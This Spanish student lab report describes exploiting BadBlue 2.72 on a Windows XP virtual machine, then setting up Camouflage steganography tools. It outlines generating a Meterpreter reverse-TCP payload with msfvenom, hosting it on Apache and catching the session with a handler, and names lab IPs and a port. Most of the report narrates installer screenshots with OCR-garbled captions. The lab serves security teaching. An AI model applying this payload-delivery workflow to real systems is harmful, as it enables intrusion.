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Informe del laboratorio — Explotacion del servicio BadBlue y cifrado en entorno Windows
XP

En este laboratorio me propuse realizar una explotacion controlada del servicio BadBlue
Personal Edition 2.72 instalado en una maquina virtual con Windows XP, con el fin de analizar su
comportamiento ante accesos no autorizados y vulnerabilidades conocidas. Ademas, complementé el
entorno con herramientas de cifrado y ocultamiento de informacion como Camouflage, para simular
técnicas de esteganografia digital. El proceso incluyo la instalacion de multiples programas, la
configuracion de red y carpeta compartida, y la documentacion detallada de cada paso realizado en
clase. Esta practica me permitié6 comprender como interactiian los servicios vulnerables en sistemas

antiguos y como pueden ser aprovechados en auditorias de seguridad.

Alcance

Este laboratorio tuvo como objetivo principal simular la explotacion del servicio BadBlue
2.72 en un entorno Windows XP, utilizando herramientas ofensivas como Metasploit Framework y
técnicas de entrega controlada de payloads. A lo largo del proceso, se abordaron distintas fases del
ciclo de ataque, desde la identificacion de modulos vulnerables hasta la ejecucion de payloads

personalizados y la obtencion de una sesion remota mediante Meterpreter.

El alcance incluyd:

o Configuracion del entorno atacante en Kali Linux, con privilegios root y herramientas como

msfconsole, msfvenom y Apache.

e Busqueda y analisis de modulos de explotacion disponibles para BadBlue, evaluando

compatibilidad y efectividad.



Generacion manual de payloads con msfvenom, adaptando arquitectura, plataforma y

parametros de red.

Entrega del payload via servidor web, simulando escenarios reales de distribucion maliciosa.

Configuracion del listener en Metasploit para capturar la conexion inversa desde el sistema

XP.

Validacion de la sesion Meterpreter, exploracion de procesos activos y confirmacion de

ejecucion del payload.

Documentacion detallada de cada fase, incluyendo imagenes, comandos, reflexiones técnicas

y dificultades encontradas.



Objetivo general
Desarrollar y documentar un laboratorio de explotacion ética contra el servicio BadBlue 2.72
en Windows XP, utilizando herramientas ofensivas como Metasploit Framework, msfvenom y
Apache, con el fin de simular un escenario real de entrega y ejecucion de payloads, validar la
obtencion de acceso remoto mediante Meterpreter, y fortalecer mi capacidad técnica en analisis de

vulnerabilidades, trazabilidad de evidencias y adaptacion ante fallos.

Objetivos especificos

e Identificar y analizar los modulos de explotacion disponibles para BadBlue 2.72 en
Metasploit Framework, evaluando su compatibilidad y efectividad en entornos
Windows XP.

e Configurar el entorno ofensivo en Kali Linux, incluyendo la inicializacion de
Metasploit, la generacion de payloads con msfvenom y la activacion del servidor web
Apache para la entrega controlada del archivo malicioso.

e Simular la descarga y ejecucion del payload desde el sistema victima, validando el
comportamiento del entorno XP y la respuesta ante archivos ejecutables alojados en
el servidor atacante.

e Establecer una sesién remota mediante Meterpreter, documentando el proceso de
conexidn inversa, la interaccion con el sistema comprometido y la enumeracion de
procesos activos.

e Registrar de forma detallada cada fase del laboratorio, incluyendo comandos
utilizados, evidencias visuales, dificultades técnicas y reflexiones sobre la adaptacion

del enfoque ante fallos.



e Fortalecer la capacidad de documentacion técnica, trazabilidad de evidencias y

analisis critico del proceso ofensivo, con fines pedagdgicos y profesionales en el

contexto de la ciberseguridad ética.

Glosario técnico

Tabla 1 Glosario técnico

Término Definicion
Distribucion de Linux especializada en pruebas de penetracion y
Kali Linux analisis forense digital. Utilizada como entorno atacante en este

laboratorio.

Metasploit Framework

Plataforma de explotacidon que permite ejecutar ataques, generar
payloads y gestionar sesiones remotas.

Interfaz principal de Metasploit para interactuar con mddulos de

msfconsole - .
explotacion, payloads y sesiones.
Herramienta de Metasploit para generar payloads personalizados en
msfvenom Ny . .
distintos formatos (ejecutables, scripts, etc.).
Cddigo malicioso que se ejecuta en el sistema victima tras una
Payload explotacion exitosa. En este caso, se uso
windows/meterpreter/reverse_tcp.
Meterpreter Shell avanzada que permite interactuar con el sistema comprometido,
P ejecutar comandos, migrar procesos y capturar evidencia.
Técnica de conexion donde el sistema victima inicia una conexion
Reverse TCP . .\ .
hacia el atacante, permitiendo evadir ciertos controles de red.
Servidor web utilizado para alojar el archivo malicioso
Apache2

(badblue payload.exe) y facilitar su descarga desde el sistema XP.

BadBlue 2.72

Software vulnerable instalado en Windows XP, utilizado como
objetivo en este laboratorio.

Exploit

Modulo o técnica que aprovecha una vulnerabilidad para ejecutar
codigo malicioso en el sistema victima.
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Término Definicion

Componente que espera conexiones entrantes desde el payload
Listener ejecutado en el sistema victima. Configurado en Metasploit con
exploit/multi/handler.

Identificadores de procesos (Process ID / Parent Process ID) utilizados

PID / PPID para analizar la actividad del sistema comprometido.

NT Cuenta con privilegios elevados en sistemas Windows. Su presencia en
AUTHORITY\SYSTEM |procesos indica posibles vectores de escalamiento.

Carpeta temporal del navegador Internet Explorer donde se almacenan

Content.IES archivos descargados, como el payload en este caso.

Resumen
Este laboratorio documenta el proceso completo de explotacion ética del servicio BadBlue 2.72 en
un entorno Windows XP, utilizando herramientas ofensivas como Metasploit Framework,
msfvenom y Apache desde una maquina atacante con Kali Linux. Inicialmente se intentd explotar
el servicio mediante el modulo badblue ext overflow, pero al no obtener sesion, se optd por
generar manualmente un payload tipo windows/meterpreter/reverse_tcp, alojarlo en el servidor

web Apache y simular su descarga desde el sistema victima.

Tras configurar el listener en Metasploit, se logré establecer una sesion Meterpreter activa, lo que
permitio interactuar con el sistema comprometido, validar la ejecucion del payload y enumerar
procesos activos. Cada fase fue documentada con capturas, comandos y reflexiones técnicas,
destacando la capacidad de adaptacion ante fallos, la trazabilidad de evidencias y el enfoque

metodologico aplicado.



Materiales y métodos
Materiales utilizados:

Tabla 2 Materiales y métodos
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Elemento

Descripcion

Sistema atacante

Kali Linux con privilegios root, entorno ofensivo principal.

Sistema victima

Windows XP con BadBlue 2.72 instalado, objetivo de la explotacion.

Metasploit Plataforma para ejecutar exploits, generar payloads y gestionar
Framework sesiones.

msfvenom Herramienta para crear payloads personalizados en formato .exe.
Apache2 Servidor web usado para alojar y entregar el payload al sistema XP.

Payload generado

windows/meterpreter/reverse_tcp, ejecutable de 7168 bytes.

Listener

Moédulo exploit/multi/handler configurado para recibir conexion

inversa.

Red simulada

IP atacante: 210.210.200.14, IP victima: 210.210.200.9, puerto: 4444.




Metodologia aplicada:

Tabla 3 Metodologia aplicada
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Fase

Accidn realizada

Inicializacion ofensiva

Lanzamiento de msfconsole y busqueda de mddulos para BadBlue.

Configuracion del

exploit

Prueba con badblue ext overflow, sin éxito en la apertura de sesion.

Generacion del payload

Uso de msfvenom para crear badblue payload.exe con parametros

definidos.

Entrega del payload

Movimiento del archivo a /var/www/html/ y activacion de Apache.

Configuracion del

listener

Preparacion del modulo multi/handler en Metasploit para recibir la

conexion.

Ejecucion en XP

Descarga y ejecucion manual del payload desde el navegador en XP.

Sesion Meterpreter

Confirmacion de conexion inversa y enumeracion de procesos

activos.

Documentacion técnica

Registro de comandos, capturas, reflexiones y dificultades

encontradas.




Planteamiento del problema

Tabla 4 Planteamiento del problema
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Efectos indirectos

Efectos directos

Problema central

Causas directas

- Necesidad de
adaptar
procedimientos
ofensivos ante fallos
inesperados

- Fallo del médulo
badblue ext overflow al
intentar generar sesion

- Incompatibilidad del
modulo de Metasploit
con la version 2.72 de
BadBlue

- El modulo fue
disefiado para
BadBlue 2.5, no
para 2.72

- Fortalecimiento de

- Cambio de estrategia hacia

- Limitaciones técnicas

- Diferencias en

habilidades en ; del entorno XP para estructura interna
., entrega controlada via . ..
generacion manual ejecutar payloads del servicio entre
Apache .
de payloads modernos versiones
- Mejora en la . - Ausencia de
. ., ) - Dificultad para i

documentacion - Necesidad de configurar el . ., modulos

. . validar la explotacion .
reflexiva 'y listener manualmente para . actualizados o

o C . directa en entornos i
trazabilidad de capturar la conexion inversa antiouos especificos para
evidencias g BadBlue 2.72
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Inicio de instalacion de Oracle VirtualBox Guest Additions 7.1.12
En esta imagen muestro el momento en que inicié la instalacion de Oracle VirtualBox Guest
Additions version 7.1.12 dentro de la maquina virtual con Windows XP. Este paso fue fundamental
para mejorar la integracion entre el sistema anfitrion y la maquina virtual, permitiendo funciones
como la carpeta compartida, mejor resolucion de pantalla y sincronizacion del portapapeles. Antes
de continuar con la instalacion, cerré las aplicaciones abiertas para evitar conflictos con los
archivos del sistema. Verifiqué que el entorno estuviera limpio y listo para recibir los
complementos sin necesidad de reinicios forzados. Esta preparacion me permitié avanzar de forma

ordenada en la configuracion del laboratorio.

Oracle VirtualBox Guest Additions 7.1.12 Setup

UTH-LIERE
~ Welcome to Oracle VirtualBox Guest
Additions 7.1.12 Setup

Setup will quide you through the installation of Oracle
VirtualBox Guest Additions 7.1.12,

1t is recommended that you close all other applications
before starting Setup. This will make it possible to update
relevant system files without having to reboot your
computer,

Click Mext to continue,

[ Next > ] [ Cancel

: s Inicio Oracle YirtualBox Gue...

llustracion 1 Inicio de instalacion de Oracle VirtualBox Guest Additions 7.1.12
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Seleccion de ruta de instalacion para Oracle VirtualBox Guest Additions

En esta imagen muestro el momento en que seleccioné la ruta de instalacion para Oracle
VirtualBox Guest Additions version 7.1.12. El instalador sugirié por defecto la carpeta C:\Archivos
de programa\Oracle\VirtualBox Guest Additions\, la cual acepté sin modificaciones, ya que
contaba con suficiente espacio disponible en disco (mas de 18 GB). Este paso fue clave para
asegurar que los archivos del complemento se integraran correctamente al sistema operativo
Windows XP. Me aseguré de que no hubiera conflictos previos en esa ruta y procedi con la
instalacion para habilitar funciones como el portapapeles compartido, mejor resolucion de pantalla

y acceso a carpetas compartidas entre el host y la maquina virtual.

Oracle VirtualBox Guest Additions 7.1.12 Setup

UTH-LIBRE

Choose Install Location
- Choose the folder in which to install Oracle virtualBox Guest Additions 7.1.12,

Setup will install Oracle VirtualBox Guest Additions 7.1.12 in the Following Folder. To install in a
different folder, click Browse and select another folder. Click Next to continue.

Destination Folder

C:\Archivos de programalOraclelVirtualBox Guest Additions) Browse...

Space required: 662.0 KB
Space available: 18.5 GB

Additions 7,1.12 r169651

[ < Back ][ Next > I [ Cancel ]

" 72 Inicio

llustracion 2 Seleccion de ruta de instalacion para Oracle VirtualBox Guest Additions
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Seleccion de componentes para instalar en Oracle VirtualBox Guest Additions
En esta imagen muestro el paso en el que seleccioné los componentes que deseaba instalar como
parte de Oracle VirtualBox Guest Additions version 7.1.12. Opté por instalar inicamente los
complementos esenciales: VirtualBox Guest Additions y entradas en el menu de inicio, dejando
desmarcada la opcion de soporte Direct3D (experimental) para evitar posibles conflictos con el
entorno grafico de Windows XP. Esta decision fue tomada con base en la estabilidad del sistema y
la compatibilidad con los recursos disponibles. Mi objetivo era asegurar una integracion fluida
entre el host y la maquina virtual, sin introducir elementos que pudieran afectar el rendimiento o
generar errores innecesarios. Este paso fue clave para habilitar funciones como el portapapeles

compartido, mejor resolucion de pantalla y acceso a carpetas compartidas.

Oracle VirtualBox Guest Additions 7.1.12 Setup

UITH-LTERE

Choose Components

Choose which Features of Oracle YirtualBox Guest Additions 7.1.12 you want to

" install,

Check the components you want to install and uncheck the components you don't want to
install. Click Install to start the installation,

Select components to install: virtualBox Guest Additions] D ésFrlptIDn
Direct3D Support (Experir} o
Start menu entries

Space required: 662.0 KB

[ < Back " Install ] [ Cancel

llustracion 3 Seleccion de componentes para instalar en Oracle VirtualBox Guest Additions
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Acceso a preferencias de carpetas compartidas en VirtualBox
En esta imagen muestro el momento en que accedi al ment de Dispositivos dentro de Oracle
VirtualBox para configurar las carpetas compartidas entre el sistema anfitrion y la maquina virtual
con Windows XP. Seleccioné la opcion "Preferencias de carpetas compartidas...", lo cual me
permitid definir rutas especificas para intercambiar archivos de forma segura y eficiente. Este paso
fue clave para facilitar la transferencia de herramientas, evidencias y archivos cifrados entre ambos
entornos. Ademads, me permitio mantener una estructura organizada del laboratorio, evitando el uso
de medios externos o procesos manuales innecesarios. Esta integracion fue posible gracias a la

instalacion previa de los complementos Guest Additions.

Dispositivos  Ayuda

© Unidades opticas

¥ Audio

& Red

# USB

M Carpetas compartidas
5 Portapapeles compartido
E Arrastrar y soltar

¢ Insertar imagen de CD de los complementos del invitado...

4] Upgrade Guest Additions...

1lustracion 4 Acceso a preferencias de carpetas compartidas en VirtualBox
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Configuracion de carpeta compartida en VirtualBox
En esta imagen muestro el cuadro de didlogo que utilicé para afiadir una carpeta compartida
entre el sistema anfitrién y la maquina virtual con Windows XP. Seleccioné la ruta de la carpeta en
el host, asigné un nombre identificable y activé las opciones de automontaje y permanencia, lo
cual me permitié que la carpeta estuviera disponible de forma automatica cada vez que iniciara la
maquina virtual. Este paso fue esencial para facilitar el intercambio de archivos entre ambos
entornos, especialmente durante la explotacion del servicio BadBlue y la transferencia de archivos
cifrados. La configuracion precisa de esta carpeta me permitido mantener una estructura organizada

del laboratorio y documentar evidencias sin depender de medios externos.

£ Adadi carpeta compartida

Ruta de carpeta:
Mombre de carpeta: Contien
Punto de montaje:
S0lo lectura
Autornontar
Hacer permanente

Cancelar

Ilustracion 5 Configuracion de carpeta compartida en VirtualBox
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Seleccion de carpeta compartida desde configuracion de VirtualBox
En esta imagen muestro el proceso de seleccion de una carpeta compartida desde la configuracion
avanzada de la maquina virtual WINDOWS_XP en Oracle VirtualBox. Accedi al apartado
"Carpetas compartidas" y utilicé el cuadro de didlogo "Seleccionar carpeta" para elegir una ruta
especifica dentro del directorio de Descargas del sistema anfitrion. Seleccioné la carpeta "maquina
virtual xp", creada previamente para organizar los archivos del laboratorio, incluyendo
herramientas, evidencias y documentos cifrados. Esta configuracion me permitid establecer una
ruta permanente y accesible desde Windows XP, facilitando la transferencia de archivos sin
necesidad de medios externos. Este paso fue esencial para mantener la trazabilidad y orden en el

desarrollo del laboratorio.

Basic

General Nombre Ruta Acceso Automontar En
¥ Seleccionar carpeta
Sistema

___‘ 1 ~ .
Pantalla « 2 T s > Descargas »

Almacenamiento Organizar = MNueva carpeta
Audio # Inicio -~ Hoy

Red

Puertos serie " Escritorio »

. Descargas #
USB e
maquina virtual

E Documentos #
Carpetas compartidas

& Imigenes  # < La semana pasada

E Interfaz de usuario

@ Misica »

[ Videos »

Carpeta: | Descargas

7 ic Seleccio - C i
15 Inicio Seleccionar carpeta | Cancelar |

[lustracion 6 Seleccion de carpeta compartida desde configuracion de VirtualBox
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Verificacion de carpeta compartida configurada en VirtualBox
En esta imagen muestro la seccion de carpetas compartidas dentro de la configuracion de la
maquina virtual WINDOWS_XP en Oracle VirtualBox. Aqui verifiqué que la carpeta "maquina
virtual xp", ubicada en C:\Users\Admin\Downloads)\, estuviera correctamente afiadida con acceso
completo, automontaje activado y marcada como permanente. Este paso fue crucial para garantizar
que los archivos necesarios para el laboratorio —como instaladores, evidencias y documentos
cifrados— estuvieran disponibles de forma inmediata y estable dentro del entorno Windows XP.
Validé que no hubiera carpetas transitorias activas, lo cual me permitio mantener una estructura de

trabajo ordenada y persistente durante todo el proceso de explotacion y cifrado.

Maombre Ruta Acceso Automontar En
= (Carpetas de la maguina

magui..|_xp ChUsershAdmin\Downloads\maquina virtual xp Completo
Carpetas transitorias

[lustracion 7 Verificacion de carpeta compartida configurada en VirtualBox
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Verificacion de unidad de red compartida en Windows XP
En esta imagen muestro la unidad de red Z: correctamente montada en el entorno Windows XP,
identificada como "maquina_virtual xp en 'VBoxSvr". Esta unidad representa la carpeta
compartida que configuré previamente desde Oracle VirtualBox, permitiéndome acceder
directamente a los archivos alojados en el sistema anfitrion. La correcta visualizacion de esta
unidad confirma que la integracion entre el host y la maquina virtual fue exitosa, gracias a la
instalacion de los complementos Guest Additions y la configuracion precisa de la carpeta
compartida. Esta funcionalidad fue clave para transferir herramientas, evidencias y archivos
cifrados sin necesidad de dispositivos externos, manteniendo la eficiencia y trazabilidad del

laboratorio.

Unidades de red

't;e;"j maquina_virtual _xp en
"WBouxTwr" (Z1)

—_H

llustracion 8 Verificacion de unidad de red compartida en Windows XP
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Archivos seleccionados para pruebas de cifrado y ocultamiento
En esta imagen muestro cinco archivos seleccionados desde el entorno Windows XP, los cuales
utilicé como base para realizar pruebas de cifrado y ocultamiento mediante la herramienta
Camouflage (camoul21.exe). Los archivos incluyen documentos en formato PDF, PPTX y DOCX,
con nombres que simulan formularios y planes de mejora, lo cual me permitié trabajar con
contenido variado y realista. Seleccioné estos archivos por su tamafio moderado y diversidad de
formatos, lo que me permitié evaluar como se comporta el cifrado y la esteganografia en distintos
tipos de documentos. Esta etapa fue clave para validar la funcionalidad de Camouflage y
documentar el proceso de ocultamiento dentro de imagenes, como parte del laboratorio de

explotacion y cifrado.

ol GA-240000501 -, RIS Wnmovement-lan Engleh .,

i POF m (e PRT:
12 4005 g

1lustracion 9 Archivos seleccionados para pruebas de cifrado y ocultamiento
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Escritorio de Windows XP con archivos e imagenes para pruebas de cifrado
En esta imagen muestro el escritorio de la maquina virtual con Windows XP, ya configurada y
corriendo dentro de Oracle VirtualBox. En este entorno reuni los archivos que utilicé para realizar
pruebas de cifrado y ocultamiento, incluyendo documentos en distintos formatos y dos imagenes
que seleccioné como portadoras para aplicar técnicas de esteganografia con Camouflage. Entre los
archivos visibles se encuentran documentos como "Chronicle G...", "Improveme..." y
"Folleto GA...", junto a imagenes como "Luffy with crew" y "One Piece 4K Wallpaper", que elegi
por su resolucion y peso adecuado para ocultar informacion sin alterar su apariencia visual. Esta
organizacion en el escritorio me permitio trabajar de forma agil y mantener control sobre los

elementos utilizados en el laboratorio.

Twgy

Archivo Maquina Ver Entrada Dispositivos Ayuda

llustracion 10 Escritorio de Windows XP con archivos e imdgenes para pruebas de cifrado
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Proceso de instalacion de Adobe Reader 8 en Windows XP
En esta imagen muestro el avance de la instalacion de Adobe Reader 8 en la maquina virtual con
Windows XP. El proceso se encontraba en un 44.1% completado, y decidi esperar pacientemente
para asegurar que todos los componentes se instalaran correctamente sin interrupciones. Este
software fue incluido como parte del entorno simulado para permitir la visualizacion de archivos
PDF, especialmente aquellos que luego serian cifrados u ocultos mediante técnicas de
esteganografia. La instalacion se realizo sin conflictos, y me permitid validar que el sistema
contaba con las herramientas necesarias para abrir, revisar y documentar evidencias en formato

PDF como parte del laboratorio.

-~z Adobe Reader B - Setup

=

Flease wait while the Adobe Reader 8 Setup is being processed, This will take some kime
depending on vour operating system and hardware,

Processing Adobe Reader & ... 44,1 %

btttz

llustracion 11 Proceso de instalacion de Adobe Reader 8 en Windows XP
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Finalizacion exitosa de la instalacion de Adobe Reader 8
En esta imagen muestro la pantalla final del asistente de instalacion de Adobe Reader 8,
confirmando que el proceso fue completado con éxito. Marqué la opcidon "Launch Adobe Reader 8"
para abrir el programa inmediatamente después de hacer clic en "Finish", con el fin de verificar su
funcionamiento y compatibilidad dentro del entorno Windows XP. Esta instalacion fue parte de la
preparacion del laboratorio, ya que necesitaba un lector de PDF confiable para visualizar
documentos que luego serian sometidos a pruebas de cifrado y ocultamiento. Validé que el software
se ejecutara correctamente y que los archivos se abrieran sin errores, lo cual me permitié continuar

con el desarrollo del laboratorio de forma fluida.

i& Adobe Reader B - Setup

y

Setup Completed

Setup has successfully installed Adobe Reader &, Click Finish to exit setup.

Launch Adobe Reader &

Ilustracion 12 Finalizacion exitosa de la instalacion de Adobe Reader 8
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Aceptacion del acuerdo de licencia de Adobe Reader 8
En esta imagen muestro el paso en el que revisé y acepté el acuerdo de licencia de Adobe Reader 8
durante su instalacion en el entorno Windows XP. Seleccioné el idioma English (US) para
visualizar los términos legales, y procedi a aceptar el contrato haciendo clic en el boton "Accept",
lo cual fue necesario para finalizar la instalacion y habilitar el uso del software. Este paso, aunque
administrativo, fue importante para validar que el software se ejecutara bajo condiciones legales y
técnicas adecuadas. Ademas, me permitié confirmar que el entorno estaba listo para abrir y
visualizar archivos PDF, los cuales serian utilizados mas adelante en las pruebas de cifrado y

ocultamiento.

lase 2 Oct 2025

+ Adobe Reader Adobe Reader B

File Edit ‘iew Document T4

License Agreement

Press the Accept button to agree to the License Agreement and continue.

Please select a language For the License Agreement:

License Agreement:

ADOBE YSTEMS INCORPORATED

ADOBE® BOFTWARE LICENIE AGREEMENT

HOTICE TO USER: PLEASE READ THIZ CONTRACT CAREFULLY. BY USING,
COPYING OR DISTRIBUTING ALL OR ANY PORTION COF THE ADOBE SOFTWARE
("SOFTWARE") YOU ACCEPT ALL THE TERMZ AND CONDITIONZ OF THIS
AGREEMENT, INCLUDING, IN PARTICULAR THE LIMITATIONZ OH: USE
CONTAINED IN SECTION 2; TRANSFERABILITY IN SECTION 4, WARRANTY IN
SECTION 7; AND LIABILITY IN 3ECTION &. ¥OU AGREE THAT THIZ AGREEMENT I3
ENFORCEABLE LIEE ANY WERITTEN NEGOTIATED AGREEMENT SIGHED BY YOU.
THIZ AGREEMENT I3 ENFORCEABLE AGAINST YOU AND ANY LEGAL ENTITY
THAT OBTAINED THE SOFTWARE AND ON WHORE BEHALF IT I3 USED. IF YOU
DO NOT AGREE, DO NOT USE THIS B0FTWARE.

Adobe and its suppliers own all intellectual propety in the Software. A dobe permits you
to Use the Software only in accordance with the terms of this A greement. Use of some
third party materials included in the Software may be subject to other terms and conditions
typically found in a separate license agreement, a “Read Me™ file located near such
materials of in the “Third Party Software MNotices andfor Additional Temms and Conditions”

Ilustracion 13 Aceptacion del acuerdo de licencia de Adobe Reader 8
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Inicio del asistente de instalacion de BadBlue Personal Edition 2.72
En esta imagen muestro el primer paso del asistente de instalacion de BadBlue Personal Edition
2.72, el servicio vulnerable que utilicé como base para la explotacion en el laboratorio. Antes de
continuar, cerré todas las aplicaciones abiertas en el entorno Windows XP, siguiendo la
recomendacion del instalador para evitar conflictos con archivos del sistema. Este momento marcé
el inicio de la configuracion del servicio web local, que posteriormente seria escaneado, analizado
y explotado desde el sistema anfitrion. La instalacion de BadBlue fue clave para simular un entorno
vulnerable y comprender como se puede acceder a archivos sensibles mediante técnicas de

pentesting.

ﬁ_‘?‘ BadBlue Personal Edition 2. 72 Setup E|E|E

15

Welcome to the BadEBlue Personal
Edition 2.72 Setup Wizard

This wizard will guide vou through the installation of BadBlue
Personal Edition 2,72,

It is recommended that wou close all other applications
before starting Setup. This will make it possible bo update
relesant system files withouk having to rebook your
compuker,

Click. Mext to conkinue,

Mext = l [ Cancel

Ilustracion 14 Inicio del asistente de instalacion de BadBlue Personal Edition 2.72



28

Proceso de instalacion de BadBlue y configuracion de inicio automatico

En esta imagen muestro el avance de la instalaciéon de BadBlue Personal Edition 2.72 en el entorno

Windows XP. Durante la extraccion de archivos como Soint.php, Soint.htx y otros componentes del

servicio web, se desplegd una ventana emergente preguntando si deseaba iniciar automaticamente

el sitio web cada vez que iniciara sesion. Opté por seleccionar "Si", con el objetivo de mantener el

servicio activo desde el arranque del sistema, lo cual facilita su explotacion desde el host sin

necesidad de intervencion manual. Esta configuracion fue clave para simular un entorno vulnerable

persistente, permitiéndome realizar escaneos y pruebas de acceso en cualquier momento del

laboratorio.

Bung\-‘ruf

€ BadBlue Personal Edition 2.72 Setup

Create shorkouk; ChDocuments and Settingstadmin2iEscritorintBadElue Personal Edition. Inlk,

Installing
Please wait while BadBlue Personal Edition 2,72 is being installed.

[IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

Extract: SOkest.php...
Extract: SCwiard

Extract: SCacce

Extract: SCinik.j
Extrack: SCwiorg
Extract: HTTPG
Create Folder: e

Extract: SQinit.php,.. 100%: A
1007 B

Extract: SObast. ¢- BadBlue Personal Edition 2.72 Setup

Extract: Soexcel  Aubomatically start wour web site each time you login?

Create shortout: O 'I,Dl:u:uments aru:l Settlngs'l,admlnz'l,l"-“lenu Inl:lD'I,Prl:ngramas'l,BadBIUE
Create shortcut: CHDocuments and Settingstadmin2\EscritoriolBadBlue Personal Editi.

| s

medBlLE P,

I<|

« Back Mexk = Zancel

Ilustracion 15 Proceso de instalacion de BadBlue y configuracion de inicio automatico
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Extraccion de archivos de instalacion de Camouflage (camoul21.exe)
En esta imagen muestro el uso del asistente WinZip Self-Extractor para extraer los archivos del
instalador Camoul21.exe, herramienta que utilicé para aplicar técnicas de esteganografia y
ocultamiento de archivos dentro de imagenes. Seleccioné como ruta de extraccion el directorio
temporal E:\1\admin2\CONFIG\1\Temp, y activé las opciones de sobrescribir archivos sin
preguntar y ejecutar Setup.exe al finalizar, con el fin de agilizar el proceso y evitar interrupciones.
Esta preparacion fue clave para instalar Camouflage correctamente y comenzar las pruebas de

cifrado en el entorno Windows XP.

WinZip Self-Extractor - Camou121.exe P§|

Tounzip all filez in Camoul2].exe to the zpecified _
folder prezs the Unzip buttan,

Run »indip
IInzip to folder:

E 1 admin

Browsze. . | Cloze

[v Owvenarite files without prompting Ahaut
v wWhen done unzipping open: Setup.exe =
Elp

llustracion 16 Extraccion de archivos de instalacion de Camouflage (camoul21.exe)
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Inicio del asistente de instalacion de Camouflage v1.2.1
En esta imagen muestro el primer paso del asistente de instalacion de Camouflage v1.2.1,
herramienta que utilicé para aplicar técnicas de ocultamiento de archivos mediante esteganografia
en imagenes. El instalador presenta un disefio visual con fondo de digitos binarios, lo cual refuerza
su enfoque en la manipulacion de datos. Antes de continuar, cerré todas las aplicaciones abiertas en
el entorno Windows XP, siguiendo la recomendacion del instalador para evitar conflictos durante la
instalacion. Este paso fue clave para asegurar que el software se integrara correctamente al sistema
y estuviera listo para las pruebas de cifrado y ocultamiento que documenté mas adelante en el

laboratorio.

j Camouflage v1.2.1 Setup

Camouflage

Welcome

‘Welcome to the Camouflage Setup program. This
program will install Camouflage on your computer.

Itis strongly recommended that you exit all Windows programs
before running this Setup program.

Click Cancel to quit Setup and then close any programs you
have running. Click Next ta continue with the Setup program.

WARNING: This program is protected by copyright law and
international treaties.

Unautharized reproduction o distribution of this program, or any
portion of it, may result in severe civil and criminal penalties, and
will be prosecuted to the maximum extent possible under law.

coce

llustracion 17 Inicio del asistente de instalacion de Camouflage v1.2.1
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Inicio del asistente de instalacion de Internet Explorer 8 en Windows XP
En esta imagen muestro el primer paso del asistente de instalacion de Windows Internet Explorer 8
en el entorno Windows XP. Antes de continuar, el sistema recomienda cerrar todos los programas
abiertos, ya que algunos archivos del sistema podrian requerir actualizacion y reinicio. Opté por no
participar en el programa de mejora de producto, priorizando una instalacion rapida y controlada.
Esta actualizacion fue necesaria para contar con un navegador funcional que permitiera realizar
pruebas de acceso web, visualizacion de servicios locales como BadBlue, y descarga de
herramientas complementarias. La instalacion de IE8 también me permitio validar la
compatibilidad del entorno con servicios web basicos y asegurar una navegacion estable durante el

laboratorio.

/- Instalar Windows Internet Explorer 8 @

-2
ft

f Windows Internet Explorer 8

P

Antes de empezar, se recomienda guardar los archivos y cerrar todos los programas.

Como Internet Explorer 8 actualizard archivos que posiblemente estén en uso, debe
reiniciar el equipo cuando finalice la instalacidn. Esto garantiza que todos los archivos se
actualicen correctamente y que la instalacidon se complete.

 Deseo ayudar a mejorar Internet Explorer
(O No deseo participar en este momento
Obtener mas informacion

Cancelar

Hustracion 18 Inicio del asistente de instalacion de Internet Explorer 8 en Windows XP
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En esta imagen muestro el paso en el que habilité la opcion "Instalar actualizaciones" durante la

instalacion de Internet Explorer 8 en el entorno Windows XP. Esta decision permitio que el sistema

descargara parches de seguridad, actualizaciones del navegador y la Herramienta de eliminacion de

software malintencionado de Windows, con el fin de proteger el entorno virtual contra amenazas

comunes. Aunque el laboratorio se desarrolla en un sistema vulnerable, consideré importante

aplicar estas actualizaciones para evitar interferencias externas y mantener la estabilidad del

entorno durante las pruebas de explotacion y cifrado. Esta configuracion también permitié validar

el comportamiento del sistema frente a procesos de actualizacion automatizada.

80

/- Instalar Windows Internet Explorer 8

—

( Obtener las ultimas actualizaciones
éé,
A\

e -

Instalar actualizaciones

Esto instalara actualizaciones para Windows, Internet Explorer y la Herramienta de
eliminacion de software malintencionado de Windows a fin de ayudarlo a proteger el
equipo contra amenazas de seguridad.

La Herramienta de eliminacion de software malintencionado de Windows se
ejecutara durante la instalacion para detectar y quitar software malintencionado
conocido.

Obtener mas informacidn acerca de las
actualizaciones en linea

[ < Atras ][ Siguiente > ][ Cancelar ]

llustracion 19 Activacion de actualizaciones durante instalacion de Internet Explorer 8

-2

(Cé
ft 1
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Inicio del asistente de instalacion de VLC media player en Windows XP
En esta imagen muestro el primer paso del asistente de instalacion de VLC media player,
herramienta que decidi incluir en el entorno Windows XP para ampliar las capacidades de
visualizacion de archivos multimedia. Antes de continuar, cerré todas las aplicaciones abiertas,
siguiendo la recomendacion del instalador para evitar conflictos con archivos del sistema. La
instalacion de VLC fue estratégica: me permitid reproducir archivos de video y audio que podrian
estar cifrados, ocultos o utilizados como portadores en pruebas de esteganografia. Ademas, su
compatibilidad con multiples formatos lo convierte en una herramienta versatil para validar la

integridad de archivos manipulados durante el laboratorio.

= Hiyls3
Are
Mic

P = Instalacion de VLC media player

Bienvenido al Asistente de
Instalacidon de VLC media player

Este programa instalara YLC media plaver en su ordenadar,

Se recomienda que cierre todas las demas aplicaciones antes
de iniciar la instalacian, Esto hard posible ackualizar archivos
relacionados con el siskema sin kener que reiniciar su
ordenadaor.

Presione Siquiente para continuar,

[ Siguiente = J [ Cancelar

Hlustracion 20 Inicio del asistente de instalacion de VLC media player en Windows XP
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Progreso de instalacion de VLC media player en entorno Windows XP

En esta imagen muestro el avance casi completo de la instalaciéon de VLC media player en el
entorno Windows XP. El directorio de destino fue C:\Archivos de programa\VideoLAN\VLC, y
validé que todos los archivos se extrajeran correctamente sin errores. Este paso fue parte de la
preparacion del entorno multimedia para el laboratorio, ya que VLC me permite reproducir
archivos de video y audio que podrian estar cifrados, ocultos o utilizados como portadores en
pruebas de esteganografia. Su compatibilidad con multiples formatos y su estabilidad en sistemas
antiguos como XP lo convierten en una herramienta esencial para validar la integridad de archivos

manipulados.

& Instalacidn de VLC media player

Instalando a
Por Favar espere mientras YLC media plaver se instala, .:.,

Directario de salida; ChArchivos de programaiVideolARYLC

(ARNAAAARRRAAANE

Yer detalles

llustracion 21 Progreso de instalacion de VLC media player en entorno Windows XP
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Seleccion de imagen portadora para ocultamiento con Camouflage

